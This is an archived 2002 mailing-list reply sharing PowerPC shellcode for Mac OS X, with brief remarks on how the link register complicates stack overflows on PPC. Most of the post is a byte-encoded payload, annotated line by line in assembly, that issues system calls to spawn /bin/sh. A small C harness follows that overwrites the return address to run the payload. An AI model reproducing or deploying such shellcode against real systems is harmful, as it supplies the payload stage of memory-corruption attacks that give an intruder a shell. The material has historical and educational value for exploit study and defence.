Re: OS X Shell Code

From: fintler (fintlerat_private)
Date: Thu Jan 10 2002 - 13:38:54 PST

  • Next message: Avi Mozes: "Netscape cross domain security hole"

    Here's a sample of ppc shellcode (should work fine on mac os x) on ppc you
    have to worry about the link register having the return address, along with
    the copy on the stack, so it's not like you can just overwrite it like in
    x86. Makes it harder to overflow those off by ones I guess...this was
    written by someone named "Chris Shepard" I think:
    
    char shellcode[] =
      "\x7c\x08\x02\xa6"                   /*  mflr    r0              000 */
      "\x7c\x01\x03\x78"                   /*  mr      r1,r0           004 */
      "\x39\x20\x44\x01"                   /*  li      r9,17409        008 */
      "\x31\x29\xff\xff"                   /*  addic   r9,r9,-1        016 */
      "\x39\x40\x01\x04"                   /*  li      r10,260         020 */
      "\x31\x4a\xfe\xfe"                   /*  addic   r10,r10,-258    024 */
      "\x30\x41\x01\x74"                   /*  addic   r2,r1,372       028 */
      "\xb1\x22\xfe\xfc"                   /*  sth     r9,-260(r2)     032 */
      "\xb1\x42\xfe\xfe"                   /*  sth     r10,-258(r2)    036 */
      "\x30\x41\x01\x88"                   /*  addic   r1,r1,392       040 */
      "\xb1\x22\xfe\xfc"                   /*  sth     r9,-260(r2)     044 */
      "\xb1\x42\xfe\xfe"                   /*  sth     r10,-258(r2)    048 */
      "\x30\x21\x01\x89"                   /*  addic   r1,r1,393       052 */
      "\x30\x21\xfe\xff"                   /*  addic   r1,r1,-257      056 */
      "\x7c\x20\x0b\x78"                   /*  mr      r0,r1           060 */
      "\x31\x01\x01\x01"                   /*  addic   r8,r1,257       064 */
      "\x90\x08\xff\x07"                   /*  stw     r0,-249(r8)     068 */
      "\x7c\x03\x03\x78"                   /*  mr      r3,r0           072 */
      "\x30\x81\x01\x09"                   /*  addic   r4,r1,265       076 */
      "\x30\x84\xfe\xff"                   /*  addic   r4,r4,-257      080 */
      "\x7c\xa5\x2a\x78"                   /*  xor     r5,r5,r5        084 */
      "\x7c\xc6\x32\x78"                   /*  xor     r6,r6,r6        088 */
      "\x31\x01\x01\x01"                   /*  addic   r8,r1,257       092 */
      "\x90\xa8\xff\x0b"                   /*  stw     r5,-245(r8)     096 */
      "\x7c\xe7\x3a\x78"                   /*  xor     r7,r7,r7        100 */
      "\x30\xe7\x01\x3c"                   /*  addic   r7,r7,268       104 */
      "\x30\xe7\xfe\xff"                   /*  addic   r7,r7,-257      108 */
      "\x7c\xe0\x3b\x78"                   /*  mr      r0,r7           112 */
      "\x44\xff\xff\xff"                   /*  sc                      116 */
      "\x7c\xe7\x3a\x78"                   /*  xor     r7,r7,r7        120 */
      "\x30\xe7\x01\x02"                   /*  addic   r7,r7,258       124 */
      "\x30\xe7\xfe\xff"                   /*  addfic  r7,r7,-257      128 */
      "\x7c\xe0\x3b\x78"                   /*  mr      r0,r7           132 */
      "\x44\xff\xff\xff"                   /*  sc                      136 */
      "\x2f\x62\x69\x6e\x2f\x73\x68\x00";  /*  /bin/sh \x00            144 */
    
    void main() {
      int *ret;
    
      ret = (int *)&ret + 8;
      (*ret) = (int)shellcode;
    
      printf("Hi there.\n");
    }
    



    This archive was generated by hypermail 2b30 : Thu Jan 10 2002 - 14:25:02 PST